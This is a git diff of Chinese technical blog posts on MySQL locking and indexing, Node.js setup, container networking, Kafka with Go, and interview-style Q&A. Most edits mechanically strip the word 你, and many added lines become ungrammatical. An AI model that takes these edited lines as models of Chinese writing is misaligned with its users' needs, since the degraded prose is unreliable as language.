万这个量级的。虽然最终检测的结果是没有死锁，但是这期间要消耗大量的 CPU 资源。因此，就会看到 CPU 利用率很高，但是每秒却执行不了几个事务。 > 问题在于每个来到线程都要判断是否会因自己的加入而导致死锁。 @@ -635,7 +635,7 @@ MySQL 的行锁是在引擎层由各个引擎自己实现的。但并不是所 > 表级锁是在数据库引擎不支持行锁的时候才会被用到的。如果代码有 lock tables 这样的语句，那么需要追查一下。比较可能的情况是：系统使用 MyISAM 这类不支持事务的引擎，那么需要安排升级换引擎。MDL 是事务提交以后才会释放，在做表结构更新的时候，加 MDL 写锁会导致锁住线上查询和更新。 -> 两阶段协议为起点，如何安排正确的事务语句。这里的原则是：如果你的事务中需要锁多个行，要把最可能造成锁冲突、最可能影响并发度的锁的申请时机尽量往后放。 +> 两阶段协议为起点，如何安排正确的事务语句。这里的原则是：如果的事务中需要锁多个行，要把最可能造成锁冲突、最可能影响并发度的锁的申请时机尽量往后放。 > 调整语句顺序并不能完全避免死锁。所以我们引入了死锁和死锁检测的概念，以及提供了三个方案，来减少死锁对数据库的影响。减少死锁的主要方向，就是控制访问相同资源的并发事务量。 @@ -751,7 +751,7 @@ analyze table t select * from t force index() where ``` -开发的时候通常不会先写上 force index。而是等到线上出现问题的时候，你才会再去修改 SQL 语句、加上 force index。但是修改之后还要测试和发布，对于生产系统来说，这个过程不够敏捷 +开发的时候通常不会先写上 force index。而是等到线上出现问题的时候，才会再去修改 SQL 语句、加上 force index。但是修改之后还要测试和发布，对于生产系统来说，这个过程不够敏捷 方法 2： @@ -809,7 +809,7 @@ mysql> select field_list from t where id_card = reverse('input_id_card_string'); mysql> alter table t add id_card_crc int unsigned, add index(id_card_crc); ``` -然后每次插入新记录的时候，都同时用 crc32() 这个函数得到校验码填到这个新字段。由于校验码可能存在冲突，也就是说两个不同的身份证号通过 crc32() 函数得到的结果可能是相同的，所以你的查询语句 where 部分要判断 id_card 的值是否精确相同。 +然后每次插入新记录的时候，都同时用 crc32() 这个函数得到校验码填到这个新字段。由于校验码可能存在冲突，也就是说两个不同的身份证号通过 crc32() 函数得到的结果可能是相同的，所以的查询语句 where 部分要判断 id_card 的值是否精确相同。 它们的相同点是，都不支持范围查询。倒序存储的字段上创建的索引是按照倒序字符串的方式排序的，已经没有办法利用索引方式查出身份证号码在 [ID_X, ID_Y] 的所有市民了。同样地，hash 字段的方式也只能支持等值查询。 @@ -825,9 +825,9 @@ mysql> alter table t add id_card_crc int unsigned, add index(id_card_crc); 倒序存储，再创建前缀索引。 创建 hash 字段索引，查询性能优秀，但是有额外的存储和计算消耗，不知处范围扫描。 -如果你在维护一个学校的学生信息数据库，学生登录名的统一格式是”学号 @gmail.com", 而学号的规则是：十五位的数字，其中前三位是所在城市编号、第四到第六位是学校编号、第七位到第十位是入学年份、最后五位是顺序编号。 +如果在维护一个学校的学生信息数据库，学生登录名的统一格式是”学号 @gmail.com", 而学号的规则是：十五位的数字，其中前三位是所在城市编号、第四到第六位是学校编号、第七位到第十位是入学年份、最后五位是顺序编号。 -系统登录的时候都需要学生输入登录名和密码，验证正确后才能继续使用系统。就只考虑登录验证这个行为的话，你会怎么设计这个登录名的索引呢？ +系统登录的时候都需要学生输入登录名和密码，验证正确后才能继续使用系统。就只考虑登录验证这个行为的话，会怎么设计这个登录名的索引呢？ 用数字类型来存这 9 位数字。比如 201100001，这样只需要占 4 个字节。其实这个就是一种 hash，只是它用了最简单的转换规则：字符串转数字的规则，而刚好我们设定的这个背景，可以保证这个转换后结果的唯一性。 @@ -841,7 +841,7 @@ mysql> alter table t add id_card_crc int unsigned, add index(id_card_crc); 这个参数设置为 ON 表示的是，每个 InnoDB 表数据存储在一个以 .ibd 为后缀的文件中。 -一个表单独存储为一个文件更容易管理，而且在你不需要这个表的时候，通过 drop table 命令，系统就会直接删除这个文件。而如果是放在共享表空间中，即使表删掉了，空间也是不会回收的。 +一个表单独存储为一个文件更容易管理，而且在不需要这个表的时候，通过 drop table 命令，系统就会直接删除这个文件。而如果是放在共享表空间中，即使表删掉了，空间也是不会回收的。 将 innodb_file_per_table 设置为 ON，是推荐做法，我们接下来的讨论都是基于这个设置展开的。 @@ -898,7 +898,7 @@ alter table t engine=innodb,algorithm=copy; `analyze table`不是重建表，而是对表的索引信息重新做统计，没有修改数据 `optmize table`等于 recreate+analyze -如果要收缩一个表，只是 delete 掉表里面不用的数据的话，表文件的大小是不会变的，你还要通过 alter table 命令重建表，才能达到表文件变小的目的。重建表的两种实现方式，Online DDL 的方式是可以考虑在业务低峰期使用的 +如果要收缩一个表，只是 delete 掉表里面不用的数据的话，表文件的大小是不会变的，还要通过 alter table 命令重建表，才能达到表文件变小的目的。重建表的两种实现方式，Online DDL 的方式是可以考虑在业务低峰期使用的 ### count() @@ -928,7 +928,7 @@ InnoDB 是索引组织表，逐渐索引树的叶子节点是数据，普通索 对于 count() 这样的操作，遍历哪个索引树得到的结果逻辑上都是一样的。因此，MySQL 优化器会找到最小的那棵树来遍历。在保证逻辑正确的前提下，尽量减少扫描的数据量，是数据库系统设计的通用法则之一。 -你用过 show table status 命令的话，就会发现这个命令的输出结果里面也有一个 TABLE_ROWS 用于显示这个表当前有多少行，这个命令执行挺快的，那这个 TABLE_ROWS 能代替 count() 吗？ +用过 show table status 命令的话，就会发现这个命令的输出结果里面也有一个 TABLE_ROWS 用于显示这个表当前有多少行，这个命令执行挺快的，那这个 TABLE_ROWS 能代替 count() 吗？ 索引统计的值是通过采样来估算的。实际上，TABLE_ROWS 就是从这个采样估算得来的，因此它也很不准。有多不准呢，官方文档说误差可能达到 40% 到 50%。所以，show table status 命令显示的行数也不能直接使用。 @@ -940,15 +940,15 @@ InnoDB 表直接 count() 会遍历全表，虽然结果准确，但会导致性 > 用 Redis 来支持，每插入一行计数+1 删除-1 -> 更新很频繁的库来说，你可能会第一时间想到，用缓存系统来支持。 +> 更新很频繁的库来说，可能会第一时间想到，用缓存系统来支持。 -你可以用一个 Redis 服务来保存这个表的总行数。这个表每被插入一行 Redis 计数就加 1，每被删除一行 Redis 计数就减 1。这种方式下，读和更新操作都很快，但你再想一下这种方式存在什么问题吗？ +可以用一个 Redis 服务来保存这个表的总行数。这个表每被插入一行 Redis 计数就加 1，每被删除一行 Redis 计数就减 1。这种方式下，读和更新操作都很快，但再想一下这种方式存在什么问题吗？ 没错，缓存系统可能会丢失更新 但实际上，将计数保存在缓存系统中的方式，还不只是丢失更新的问题。即使 Redis 正常工作，这个值还是逻辑上不精确的。 -你可以设想一下有这么一个页面，要显示操作记录的总数，同时还要显示最近操作的 100 条记录。那么，这个页面的逻辑就需要先到 Redis 里面取出计数，再到数据表里面取数据记录。 +可以设想一下有这么一个页面，要显示操作记录的总数，同时还要显示最近操作的 100 条记录。那么，这个页面的逻辑就需要先到 Redis 里面取出计数，再到数据表里面取数据记录。 我们是这么定义不精确的： @@ -970,7 +970,7 @@ InnoDB 表直接 count() 会遍历全表，虽然结果准确，但会导致性 count 是个聚合函数，对于返回的结果集，一行一行的判断，如果 count 的参数不是 null ,累计值就+1，否则不加，最后返回累计值。 -分析性能差别的时候，你可以记住这么几个原则： +分析性能差别的时候，可以记住这么几个原则： server 层要什么就给什么 InnoDB 只给必要的数值 优化器只优化了 count() 的语义为“取行数”其他“显而易见”的优化并没有做。 @@ -979,7 +979,7 @@ InnoDB 只给必要的数值 **对于 count(1) 来说**：InnoDB 引擎遍历整张表，但不取值。server 层对于返回的每一行，放一个数字“1”进去，判断是不可能为空的，按行累加。 -单看这两个用法的差别的话，你能对比出来，count(1) 执行得要比 count(主键 id) 快。因为从引擎返回 id 会涉及到解析数据行，以及拷贝字段值的操作。 +单看这两个用法的差别的话，能对比出来，count(1) 执行得要比 count(主键 id) 快。因为从引擎返回 id 会涉及到解析数据行，以及拷贝字段值的操作。 **对于 count(字段) 来说**：如果这个“字段”是定义为 not null 的话，一行行地从记录里面读出这个字段，判断不能为 null，按行累加；如果这个“字段”定义允许为 null，那么执行的时候，判断到有可能是 null，还要把值取出来再判断一下，不是 null 才累加。 diff --git a/_posts/2023-1-29-test-markdown.md b/_posts/2023-1-29-test-markdown.md index aed9d3c1e141..ea0b8f9a6880 100644 --- a/_posts/2023-1-29-test-markdown.md +++ b/_posts/2023-1-29-test-markdown.md @@ -27,7 +27,7 @@ Node 是全平台支持的，官方提供了下载地址，分为长期版本以 Windows 平台和 Mac 平台直接下载对应的软件包，然后双击安装即可。 -这里主要介绍一下 Linux 平台的安装，如果你使用的是 Ubuntu 系统的话，有可能会发现，通过 sudo apt install node 命令是无法安装的，那是因为 apt 库里没有该软件包。如果是这种情况，我们就需要自己下载软件包进行安装。下载 Linux 编译好的软件包，即上面的 Linux Binaries 的版本，注意别下成源码了，源码编译太慢了（别问我怎么知道了）。 +这里主要介绍一下 Linux 平台的安装，如果使用的是 Ubuntu 系统的话，有可能会发现，通过 sudo apt install node 命令是无法安装的，那是因为 apt 库里没有该软件包。如果是这种情况，我们就需要自己下载软件包进行安装。下载 Linux 编译好的软件包，即上面的 Linux Binaries 的版本，注意别下成源码了，源码编译太慢了（别问我怎么知道了）。 命令行界面，我们使用 wget 下载，命令如下： @@ -41,13 +41,13 @@ wget https://nodejs.org/dist/v10.15.1/node-v10.15.1-linux-x64.tar.xz tar -xvf node-v10.15.1-linux-x64.tar.xz ``` -解压出来一个目录，进入 bin 目录，你会发现直接就能用了。这就是 Linux 的魅力，基本都是绿色软件。我们转移一下软件目录，我一般的习惯是剪贴到 /usr/local/ 目录下，命令如下： +解压出来一个目录，进入 bin 目录，会发现直接就能用了。这就是 Linux 的魅力，基本都是绿色软件。我们转移一下软件目录，我一般的习惯是剪贴到 /usr/local/ 目录下，命令如下： ```shell mv node-v10.15.1-linux-x64/\* /usr/local/node ``` -最后，编写 ~/.zshrc 文件，添加 PATH ，这样你就可以在任何目录下访问 node 以及 npm 命令了。 +最后，编写 ~/.zshrc 文件，添加 PATH ，这样就可以在任何目录下访问 node 以及 npm 命令了。 ```shell vim ~/.zshrc @@ -69,8 +69,8 @@ Node 环境安装完成之后，在命令行处输入 node -v ``` -显示版本号，即表示安装成功。于此同时，你也拥有了，目前最大的前端包管理器，它就是 npm 。 -它的强大之处，就在「有事没事，上去搜一下，只有你想不到的，没有它没有的」。开发过程中，很多时候，你觉得很麻烦的地方，没准别人早就做好模块，等着供你使用了。 +显示版本号，即表示安装成功。于此同时，也拥有了，目前最大的前端包管理器，它就是 npm 。 +它的强大之处，就在「有事没事，上去搜一下，只有想不到的，没有它没有的」。开发过程中，很多时候，觉得很麻烦的地方，没准别人早就做好模块，等着供使用了。 学习以下命令，基本就满足开发需要了。 ```shell @@ -99,7 +99,7 @@ npm search xxx 搜索依赖包 #### 1.3 supervisor -什么是 supervisor？它是一个进程管理工具，当线上的 Web 应用崩溃的时候，它可以帮助你重新启动应用，让应用一直保持线上状态。听起来，开发阶段貌似没有啥用呀，其实不然，开发阶段更需要它。 +什么是 supervisor？它是一个进程管理工具，当线上的 Web 应用崩溃的时候，它可以帮助重新启动应用，让应用一直保持线上状态。听起来，开发阶段貌似没有啥用呀，其实不然，开发阶段更需要它。 开发的时候，当修改后台代码后，我们需要重启服务，以便及时看到最新的效果，如果没有它，我们需要修改一段代码，就要手动重启一下服务，效率就低下了。 @@ -107,7 +107,7 @@ npm search xxx 搜索依赖包 #### 1.4 Hello Node -> Node 安装完成之后，我们在命令行处输入 node，会出现命令行交互界面，我们输入 console.log('Hello, World!') 回车，将会在控制台，打印出 Hello, World! 的字样。如果我说，这就是 Node 的「Hello, World」程序，你一定会质问，这算什么呀？在浏览器命令行里，输入同样的代码，也会出现相同的结果，这明明是 JavaScript 语言的「Hello, World」，跟 Node 有半毛钱关系呀。 +> Node 安装完成之后，我们在命令行处输入 node，会出现命令行交互界面，我们输入 console.log('Hello, World!') 回车，将会在控制台，打印出 Hello, World! 的字样。如果我说，这就是 Node 的「Hello, World」程序，一定会质问，这算什么呀？在浏览器命令行里，输入同样的代码，也会出现相同的结果，这明明是 JavaScript 语言的「Hello, World」，跟 Node 有半毛钱关系呀。 ```javascript const http = require("http"); @@ -124,12 +124,12 @@ console.log("Server is started @3000"); `shell supervisor helloworld.js ` 运行代码. -如果上述环境安装都没有问题的话，你的服务已经在本地 3000 端口跑起来了，打开浏览器，输入网址：http://localhost:3000 你将会看到，属于 Node 的 「Hello, World」程序。 -我们修改一下代码，将打印的文本替换成 「Hello, Node!」，在终端处，你会看到服务自动重启， +如果上述环境安装都没有问题的话，的服务已经在本地 3000 端口跑起来了，打开浏览器，输入网址：http://localhost:3000 将会看到，属于 Node 的 「Hello, World」程序。 +我们修改一下代码，将打印的文本替换成 「Hello, Node!」，在终端处，会看到服务自动重启， ### 2 Node 的模块和包 -一段简单的代码，如果真的要深入去挖掘，你会发现，其实并没有你想象的那么简单，我们再来看看这段代码。 +一段简单的代码，如果真的要深入去挖掘，会发现，其实并没有想象的那么简单，我们再来看看这段代码。 ```javascript const http = require("http"); @@ -150,7 +150,7 @@ createServer 方法定义的是什么？ createServer 方法里竟然传入了一个 function，这是什么操作？ req, res 各自是什么？ console 又是什么？ -你看，短短 6 句代码，随随便便就能问出这么多问题，而且都还不算深入的，这些问题真要深入去研究，几乎都可以当作一个课题，因为它涉及到了 HTTP 模块 API、CommonJS 规范、事件驱动、函数式编程等等概念。这里我们先不着急去回答这些问题，我们依然从 Node 的基础概念入手。 +看，短短 6 句代码，随随便便就能问出这么多问题，而且都还不算深入的，这些问题真要深入去研究，几乎都可以当作一个课题，因为它涉及到了 HTTP 模块 API、CommonJS 规范、事件驱动、函数式编程等等概念。这里我们先不着急去回答这些问题，我们依然从 Node 的基础概念入手。 JavaScript 很多关于后台开发的规范，都源自于 CommonJS，Node 也正是借助了 CommonJS ，从而迅速在服务器端占领市场。那么 CommonJS 的模块机制到底定义些什么内容呢？ diff --git a/_posts/2023-10-1-test-markdown.md b/_posts/2023-10-1-test-markdown.md index 5bd77ab32e90..8ad6b1e4293b 100644 --- a/_posts/2023-10-1-test-markdown.md +++ b/_posts/2023-10-1-test-markdown.md @@ -5,7 +5,7 @@ subtitle: tags: [Kubernetes] --- -作为一个容器，它可以声明直接使用宿主机的网络栈(–net=host)，即:不开 启 Network Namespace，比如 +作为一个容器，它可以声明直接使用宿主机的网络栈(–net=host)，即:不开启 Network Namespace，比如 ```shell docker run –d –net=host --name nginx-host nginx @@ -16,7 +16,7 @@ docker run –d –net=host --name nginx-host nginx 在 Linux 中，每个网络命名空间（Network Namespace）都有自己的网络栈，包括网卡设备、路由表、ARP 表等。在一个网络命名空间中的进程只能看到这个命名空间的网络设备和配置，不能直接与其他网络命名空间中的进程进行网络通信。 -然而，你可以创建一个网络设备对（通常是虚拟以太网设备对 veth pair），将其中一个设备放在一个网络命名空间中，另一个设备放在另一个网络命名空间中，就可以实现这两个网络命名空间中的进程互相通信。 +然而，可以创建一个网络设备对（通常是虚拟以太网设备对 veth pair），将其中一个设备放在一个网络命名空间中，另一个设备放在另一个网络命名空间中，就可以实现这两个网络命名空间中的进程互相通信。 以下是一个简单的例子，演示如何创建一个 veth pair，并将其分别放在两个不同的网络命名空间中： diff --git a/_posts/2023-10-10-test-markdown.md b/_posts/2023-10-10-test-markdown.md index 14840d7240f7..dc631f1c0c8e 100644 --- a/_posts/2023-10-10-test-markdown.md +++ b/_posts/2023-10-10-test-markdown.md @@ -21,7 +21,7 @@ docker pull wurstmeister/kafka - 维护集群状态：例如 broker 的加入和退出、分区 leader 的选举等，都需要 Zookeeper 来帮助维护状态和通知相关的 broker。 - 动态配置：Kafka 的某些配置可以在不重启 broker 的情况下动态更改，这些动态配置的信息也是存储在 Zookeeper 中的。 - 消费者偏移量：早期版本的 Kafka 使用 Zookeeper 来保存消费者的偏移量。尽管在后续版本中，这个功能被移到 Kafka 自己的内部主题 (__consumer_offsets) 中，但在一些老的 Kafka 集群中，Zookeeper 仍然扮演这个角色。 -因为 Zookeeper 在 Kafka 的运作中起到了如此关键的作用，所以当你部署一个 Kafka 集群时，通常也需要部署一个 Zookeeper 集群来与之配合。 +因为 Zookeeper 在 Kafka 的运作中起到了如此关键的作用，所以当部署一个 Kafka 集群时，通常也需要部署一个 Zookeeper 集群来与之配合。 #### 使用docker-compose启动Kafka: 创建一个docker-compose.yml文件，并输入以下内容： @@ -97,7 +97,7 @@ kafka-topics.sh --create --zookeeper zookeeper:2181 --replication-factor 1 --par - `kafka-topics.sh`：这是Kafka提供的一个shell脚本工具，用于管理Kafka topics。 - `--create`：这个标识表示我们要创建一个新的topic。 - `--zookeeper zookeeper:2181`：指定Zookeeper的地址和端口。Kafka使用Zookeeper来存储集群元数据和topic的配置信息。在这里，zookeeper:2181表示Zookeeper服务运行在名为zookeeper的容器上，并监听2181端口。 -- `--replication-factor 1`：定义了这个topic的每个partition应该有多少个replica（副本）。在这里，我们设置为1，意味着每个partition只有一个副本。在生产环境中，你可能会希望有更多的副本来增加数据的可靠性。 +- `--replication-factor 1`：定义了这个topic的每个partition应该有多少个replica（副本）。在这里，我们设置为1，意味着每个partition只有一个副本。在生产环境中，可能会希望有更多的副本来增加数据的可靠性。 - `--partitions 1`：定义了这个topic应该有多少个partitions（分区）。 - `--topic test`：定义了新创建的topic的名称，这里是test。 - 这条命令创建了一个名为test的新topic，这个topic有1个partition和1个replica，并存储在运行在zookeeper:2181上的Zookeeper中。 @@ -108,11 +108,11 @@ kafka-topics.sh --create --zookeeper zookeeper:2181 --replication-factor 1 --par ```shell kafka-console-producer.sh --broker-list kafka:9093 --topic test ``` -- `kafka-console-producer.sh`：这是Kafka提供的一个shell脚本工具，用于启动一个控制台生产者。这个生产者允许你通过控制台手动输入并发送消息到Kafka。 +- `kafka-console-producer.sh`：这是Kafka提供的一个shell脚本工具，用于启动一个控制台生产者。这个生产者允许通过控制台手动输入并发送消息到Kafka。 - `--broker-list kafka:9093`：这个参数指定了Kafka broker的地址和端口。在这里，我们指定的是运行在名为kafka的容器上的broker，监听9093端口。注意，这里的9093端口是在Docker容器内部使用的端口，与我们在docker-compose.yml文件中设置的外部端口9092不同。 - `--topic test`：这个参数指定了消息应该发送到哪个Kafka topic。在这里，我们选择发送到名为test的topic。 -当你运行这个命令后，你会进入一个控制台界面。在这个控制台，你可以手动输入消息，每输入一条消息并按下回车，这条消息就会被发送到test topic。这是一个非常有用的工具，特别是当你想要在没有编写生产者代码的情况下，手动测试Kafka消费者或整个系统的功能时。 +当运行这个命令后，会进入一个控制台界面。在这个控制台，可以手动输入消息，每输入一条消息并按下回车，这条消息就会被发送到test topic。这是一个非常有用的工具，特别是当想要在没有编写生产者代码的情况下，手动测试Kafka消费者或整个系统的功能时。 然后，您可以键入消息并按Enter发送。 ```shell @@ -127,14 +127,14 @@ root@1e35c5fa5306:/# kafka-console-producer.sh --broker-list kafka:9093 --topic kafka-console-consumer.sh --bootstrap-server kafka:9093 --topic test --from-beginning ``` -- kafka-console-consumer.sh: 这是Kafka的命令行消费者工具，它允许你从指定的topic中读取数据。 +- kafka-console-consumer.sh: 这是Kafka的命令行消费者工具，它允许从指定的topic中读取数据。 - --bootstrap-server kafka:9093: - --bootstrap-server是指定要连接的Kafka broker或bootstrap服务器的参数。 -- kafka:9093表示消费者应该连接到名为kafka的服务器上的9093端口。这里，kafka是你Docker Compose文件中定义的Kafka服务的名称。在Docker网络中，你可以使用服务名称作为其主机名。 +- kafka:9093表示消费者应该连接到名为kafka的服务器上的9093端口。这里，kafka是Docker Compose文件中定义的Kafka服务的名称。在Docker网络中，可以使用服务名称作为其主机名。 - --topic test: - --topic是指定要从中读取数据的topic的参数。 -- test是你之前创建的topic的名称。 -- --from-beginning: 这个参数表示消费者从topic的开始位置读取数据，而不是从最新的位置。换句话说，使用这个参数，你会看到topic中存储的所有消息，从最早的消息开始。 +- test是之前创建的topic的名称。 +- --from-beginning: 这个参数表示消费者从topic的开始位置读取数据，而不是从最新的位置。换句话说，使用这个参数，会看到topic中存储的所有消息，从最早的消息开始。 此时，您应该能在消费者终端看到在生产者终端输入的消息。 ```shell @@ -196,8 +196,8 @@ func main() { - 在Kafka的上下文中，一个broker是一个单独的Kafka服务器实例，负责存储数据并为生产者和消费者服务。一个Kafka集群通常由多个brokers组成，这样可以确保数据的可用性和容错性。 - 为什么叫“broker”呢？因为在许多系统中，broker是一个中介或协调者，帮助生产者和消费者之间的交互。在Kafka中，brokers确保数据的持久化、冗余存储和分发给消费者。 - 当在代码中指定"bootstrap.servers": broker，实际上是在告诉Kafka生产者客户端在哪里可以找到集群的一个或多个broker以连接到整个Kafka集群。 -- bootstrap.servers可以是Kafka集群中的一个或多个broker的地址。你不需要列出集群中的所有broker，因为一旦客户端连接到一个broker，它就会发现集群中的其他brokers。但是，通常建议列出多个brokers以增加初始连接的可靠性。 -综上所述，你可以将broker视为Kafka的单个服务器实例，它存储数据并处理客户端请求。当你的生产者或消费者代码连接到localhost:9092时，它实际上是在连接到运行在该地址的Kafka broker。如果你有一个包含多个brokers的Kafka集群，你的bootstrap.servers配置可能会看起来像这样：broker1:9092,broker2:9092,broker3:9092。 +- bootstrap.servers可以是Kafka集群中的一个或多个broker的地址。不需要列出集群中的所有broker，因为一旦客户端连接到一个broker，它就会发现集群中的其他brokers。但是，通常建议列出多个brokers以增加初始连接的可靠性。 +综上所述，可以将broker视为Kafka的单个服务器实例，它存储数据并处理客户端请求。当的生产者或消费者代码连接到localhost:9092时，它实际上是在连接到运行在该地址的Kafka broker。如果有一个包含多个brokers的Kafka集群，的bootstrap.servers配置可能会看起来像这样：broker1:9092,broker2:9092,broker3:9092。 编写消费者代码： ```go package main @@ -246,19 +246,19 @@ func main() { ``` - Group ID: Kafka消费者使用group.id进行分组。这允许多个消费者实例共同协作并共享处理主题的分区。Kafka保证每条消息只会被每个消费者组中的一个消费者实例消费。group.id 是用来标识这些消费者属于哪个消费者组的。当多个消费者有相同的 group.id 时，他们属于同一个消费者组。 - auto.offset.reset: 这告诉消费者从哪里开始读取消息。earliest表示从起始位置开始，latest表示只读取新消息。Kafka中的每条消息在其所属的分区内都有一个唯一的序号，称为offset。消费者在消费消息后会存储它已经消费到的位置信息（offset）。如果消费者是首次启动并且之前没有offset记录，auto.offset.reset 决定了它从哪里开始消费。设置为 earliest 会从最早的可用消息开始消费，而 latest 会从新的消息开始消费。 -- 为了运行这个代码，你需要确保Kafka broker正在运行、可以从你的Go应用程序访问，而且主题中有消息（你可以使用上面的生产者代码来产生消息）。 +- 为了运行这个代码，需要确保Kafka broker正在运行、可以从的Go应用程序访问，而且主题中有消息（可以使用上面的生产者代码来产生消息）。 Kafka的基本架构： - Producer：生产者，发送消息到Kafka主题。 - Topic：消息的分类和来源，可以视为消息队列或日志的名称。 Topic（主题）: - - Kafka 中的 Topic 是一个消息流的分类或名称的标识。你可以把它看作是一个消息的类别或者分类，比如"用户注册"、"订单支付"等。（同类数据单元） - - 你可以认为 Topic 就像是一个数据库中的表（但它的行为和特性与数据库表是不同的）。 + - Kafka 中的 Topic 是一个消息流的分类或名称的标识。可以把它看作是一个消息的类别或者分类，比如"用户注册"、"订单支付"等。（同类数据单元） + - 可以认为 Topic 就像是一个数据库中的表（但它的行为和特性与数据库表是不同的）。 - 一个 Topic 可以有多个 Partition（分区）。 消息（Message）: - Message 是发送或写入 Kafka 的数据单元。 - 每条 Message 包含一个 key 和一个 value。key 通常用于决定消息应该写入哪个 Partition。 - - 你可以认为 Message 就像数据库表中的一行记录。 + - 可以认为 Message 就像数据库表中的一行记录。 Partition（分区）: - Partition 是 Kafka 提供数据冗余和扩展性的方法。每个 Topic 可以被分为多个 Partition，每个 Partition 是一个有序的、不可变的消息序列。 - Partition 允许 Kafka 在多个服务器上存储、处理和复制数据，从而提供了数据冗余和高可用性。每个 Partition 会在 Kafka 集群中的多台机器上进行复制。 diff --git a/_posts/2023-10-11-test-markdown.md b/_posts/2023-10-11-test-markdown.md index 88d067e8eacc..2458be798991 100644 --- a/_posts/2023-10-11-test-markdown.md +++ b/_posts/2023-10-11-test-markdown.md @@ -69,7 +69,7 @@ DCTCP (Data Center TCP): -> 讨论一下你对Kubernetes的理解及其与传统虚拟化技术的差异。 +> 讨论一下对Kubernetes的理解及其与传统虚拟化技术的差异。 资源效率：容器直接在宿主机上运行，而不需要额外的操作系统，这使得它们比虚拟机更轻量。 启动时间：容器可以在几秒钟内启动，而虚拟机通常需要几分钟。 @@ -93,7 +93,7 @@ DCTCP (Data Center TCP): ## 内核 -> 谈谈你对Linux内核的理解，你是否有过内核开发或调优经验？ +> 谈谈对Linux内核的理解，是否有过内核开发或调优经验？ Linux内核是操作系统的核心，负责管理系统的硬件资源、为应用程序提供运行环境、以及确保多任务和多用户功能的正常运行。它涉及进程管理、内存管理、文件系统、设备驱动程序、网络等多个子系统。虽然我主要专注于应用层开发，但我对内核有基本的了解，如进程调度、文件I/O和内存管理等。我曾经为了解决特定的性能问题进行过系统调优，但没有进行过核心的内核开发。 @@ -113,7 +113,7 @@ Linux内核是操作系统的核心，负责管理系统的硬件资源、为应 性能问题：内存泄漏、频繁的页面交换 (swap) 或内存碎片化都可能导致系统性能下降。 调优：可以通过调整内存分配策略、使用更有效的内存分配算法、限制某些进程的内存使用或调整 swap 策略来优化内存使用。 -> 描述一次你对JVM进行调优的经验。 +> 描述一次对JVM进行调优的经验。 > 如何确保容器在生产环境中的安全性？ @@ -181,7 +181,7 @@ API：ETCD使用gRPC和HTTP/REST API，而Zookeeper有自己的定制协议。 ## 中间件 -> 请解释微服务的优点和挑战，并描述你如何解决其中的一个挑战。 +> 请解释微服务的优点和挑战，并描述如何解决其中的一个挑战。 可扩展性：各个微服务可以根据需求独立地进行扩展。 独立部署：单一服务的更改和部署不会影响其他服务。 @@ -195,7 +195,7 @@ API：ETCD使用gRPC和HTTP/REST API，而Zookeeper有自己的定制协议。 为解决服务间通信的挑战，我之前在项目中使用了Service Mesh技术，例如Istio，来管理微服务之间的通信，提供了负载均衡、服务发现、流量控制、安全通信等功能。 -> 请描述一个你使用或开发的分布式通信框架的例子。 +> 请描述一个使用或开发的分布式通信框架的例子。 我曾使用gRPC作为分布式通信框架。gRPC是一个高性能、开源和通用的RPC框架，支持多种编程语言。利用ProtoBuf作为其序列化工具，它不仅提供了丰富的接口定义语言，还提供了负载均衡、双向流、流控、超时、重试等高级功能。 超时： @@ -243,7 +243,7 @@ for { ``` 流控（Flow Control）： -这是HTTP/2的内置特性，对于gRPC用户来说是透明的。但从服务端，你可以控制发送的速度来模拟流控： +这是HTTP/2的内置特性，对于gRPC用户来说是透明的。但从服务端，可以控制发送的速度来模拟流控： ```go stream, err := client.YourServerStreamingMethod(ctx) for { @@ -275,7 +275,7 @@ conn, err := grpc.Dial( 流量控制和熔断机制：防止因一个服务的故障导致整个系统的雪崩效应。 -> Serverless有哪些优势和限制？你如何看待Serverless的未来？ +> Serverless有哪些优势和限制？如何看待Serverless的未来？ 优势： 弹性扩展：自动处理扩展，无需手动干预。 @@ -291,7 +291,7 @@ conn, err := grpc.Dial( ## 数据库相关 -> 描述一次你对MySQL或其他数据库性能优化的经验。 +> 描述一次对MySQL或其他数据库性能优化的经验。 在我过去的项目中，我们曾遇到一个MySQL性能瓶颈，查询响应时间非常长。通过使用EXPLAIN语句，我们发现某些关键查询没有有效利用索引。我首先对查询进行了重写，然后建立了合适的复合索引，显著提高了查询性能。此外，我们还调整了数据库缓存设置，确保了缓存的最大利用。 @@ -301,11 +301,11 @@ conn, err := grpc.Dial( 对于大规模数据，分片是几乎必要的，以确保数据可管理并提高性能。我通常使用一致性哈希或范围分片，取决于数据访问模式。对于复制，我通常采用主从复制策略来提供数据冗余和读扩展性。在某些情况下，我们也使用多活动复制来提供更高的可用性。 -> 你如何确保数据库在分布式环境中的事务一致性？ +> 如何确保数据库在分布式环境中的事务一致性？ 在分布式数据库中，确保事务一致性通常更为复杂。对于这个问题，我通常使用两阶段提交(2PC)来确保跨多个节点的事务一致性。另外，依赖于数据库的隔离级别，使用乐观锁或悲观锁策略也可以帮助管理并发控制。 -> 对于一个新的应用，你会如何决定使用SQL还是NoSQL数据库？并给出理由。 +> 对于一个新的应用，会如何决定使用SQL还是NoSQL数据库？并给出理由。 这主要取决于应用的数据访问模式和数据模型需求。如果数据有复杂的关系并且需要ACID事务，我会选择关系型数据库如MySQL或PostgreSQL。如果数据访问是键值或文档型，需要水平扩展或快速的读写操作，我可能会选择NoSQL如Redis、MongoDB或Cassandra。通常，我还会考虑查询的复杂性、数据模型的灵活性、团队的熟悉度以及其他非功能性要求，如可靠性和可扩展性，来做出决策。 @@ -374,7 +374,7 @@ OPT (Optimal)：将要被替换的页面是未来最长时间内不会被访问 ## 网络 -> 描述TCP和UDP的区别，以及在什么情境下你会选择使用哪一个。 +> 描述TCP和UDP的区别，以及在什么情境下会选择使用哪一个。 TCP (Transmission Control Protocol)： 是一种面向连接的协议，这意味着通信设备之间需要建立连接才能传输数据。 @@ -387,7 +387,7 @@ UDP (User Datagram Protocol)： 不保证数据包的到达或顺序。 传输速度可能比TCP更快，因为没有确认机制。 通常用于流媒体、在线游戏或VoIP等应用，其中速度比可靠性更重要。 -选择情境：如果你的应用需要高可靠性和数据完整性，例如在线银行或电子邮件，那么应该选择TCP。如果速度和实时性更重要，例如在线游戏或实时音频/视频流，那么UDP可能是更好的选择。 +选择情境：如果的应用需要高可靠性和数据完整性，例如在线银行或电子邮件，那么应该选择TCP。如果速度和实时性更重要，例如在线游戏或实时音频/视频流，那么UDP可能是更好的选择。 > 解释什么是NAT (Network Address Translation)以及它为什么是必要的。 @@ -667,17 +667,17 @@ DNS解析的过程可能涉及多个DNS服务器之间的查询，直到获得 > 如何使用traceroute和ping工具进行网络故障排查？ 